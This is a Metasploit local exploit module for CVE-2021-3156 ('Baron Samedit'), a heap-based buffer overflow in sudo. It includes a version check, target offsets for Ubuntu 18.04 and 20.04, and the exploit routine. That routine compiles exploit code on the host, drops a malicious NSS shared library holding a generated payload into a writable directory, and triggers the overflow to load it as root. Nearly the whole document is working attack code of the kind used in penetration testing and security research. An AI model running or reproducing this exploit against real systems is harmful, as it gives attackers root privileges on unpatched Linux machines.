Sudo 1.8.31p2 / 1.9.5p1 Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::File  
include Msf::Post::Unix  
include Msf::Post::Linux::Compile  
include Msf::Post::Linux::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sudo Heap-Based Buffer Overflow',  
'Description' => %q(  
A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker  
to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2  
through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this  
implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker  
controlled library which results in it being loaded with the elevated privileges held by sudo.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Qualys', # vulnerability discovery and analysis  
'Spencer McIntyre', # metasploit module  
'bwatters-r7', # metasploit module  
'blasty <[email protected]>', # original PoC  
'Alexander Krog' # detailed vulnerability analysis and exploit technique  
],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Platform' => ['unix', 'linux'],  
'References' => [  
['URL', 'https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit'],  
['URL', 'https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt'],  
['URL', 'https://www.kalmarunionen.dk/writeups/sudo/'],  
['URL', 'https://github.com/blasty/CVE-2021-3156/blob/main/hax.c'],  
['CVE', '2021-3156'],  
],  
'Targets' =>  
[  
[ 'Manual', { } ],  
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ] } ],  
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ] } ],  
],  
'DefaultTarget' => 1,  
'Arch' => ARCH_X64,  
'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },  
'DisclosureDate' => '2021-01-26',  
'Notes' => {  
'AKA' => [ 'Baron Samedit' ],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])  
])  
  
register_advanced_options([  
OptString.new('Lengths', [ false, 'The lengths to set as used by the manual target. (format: #,#,#,#)' ], regex: /(\d+(,[ ]*| )){3}\d+/)  
])  
  
deregister_options('COMPILE')  
end  
  
def get_versions  
versions = {}  
output = cmd_exec("sudo --version")  
if output  
version = output.split("\n").first.split(' ').last  
versions[:sudo] = version if version =~ /^\d/  
end  
  
versions  
end  
  
def check  
sudo_version = get_versions[:sudo]  
return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil?  
  
# fixup the p number used by sudo to be compatible with Gem::Version  
sudo_version.gsub!(/p/, '.')  
  
vuln_builds = [  
[Gem::Version.new('1.8.2'), Gem::Version.new('1.8.31.2')],  
[Gem::Version.new('1.9.0'), Gem::Version.new('1.9.5.1')],  
]  
  
if sudo_version == '1.8.31'  
# Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31  
return CheckCode::Detected("sudo #{sudo_version} maybe a vulnerable build.")  
end  
  
if vuln_builds.any? { |build_range| Gem::Version.new(sudo_version).between?(*build_range) }  
return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")  
end  
  
CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.")  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
write_file path, data  
end  
  
def exploit  
if target.name == 'Manual'  
fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?  
arguments = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ')  
else  
arguments = target[:lengths].join(' ')  
end  
  
fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc?  
  
path = datastore['WritableDir']  
cmd_exec("mkdir -p #{path}/libnss_X")  
  
file_name = rand_text_alphanumeric(5..10)  
upload_and_compile("#{path}/#{file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')  
upload("#{path}/libnss_X/P0P_SH3LLZ_ .so.2", generate_payload_dll)  
cmd_exec("#{path}/#{file_name} #{arguments}")  
end  
end  
`